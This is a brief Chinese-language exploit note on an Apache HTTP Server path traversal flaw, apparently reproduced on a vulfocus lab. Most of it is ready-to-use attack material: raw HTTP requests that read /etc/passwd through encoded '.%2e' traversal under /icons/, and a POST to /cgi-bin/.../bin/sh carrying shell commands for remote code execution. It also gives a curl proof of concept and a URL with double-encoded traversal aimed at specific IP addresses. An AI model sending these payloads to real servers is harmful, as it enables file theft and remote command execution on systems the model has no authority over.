Apache HTTP Server路径穿越漏洞

任意文件读取

  1. GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
  2. Host: x.x.x.x:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. X-Forwarded-For: 8.8.8.8
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. If-Modified-Since: Wed, 19 Jan 2022 06:29:11 GMT
  12. If-None-Match: "29cd-5d5e980f21bc0-gzip"
  13. Cache-Control: max-age=0

RCE

  1. POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
  2. Host: 192.168.109.128:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. X-Forwarded-For: 8.8.8.8
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. If-Modified-Since: Wed, 19 Jan 2022 06:29:11 GMT
  12. If-None-Match: "29cd-5d5e980f21bc0-gzip"
  13. Cache-Control: max-age=0
  14. Content-Length: 7
  16. echo;id

复现(vulfocus)

image.png

poc

index.png

  1. curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "123.58.224.8:45846/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

image.png

  1. http://123.58.224.8:24062/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

image.png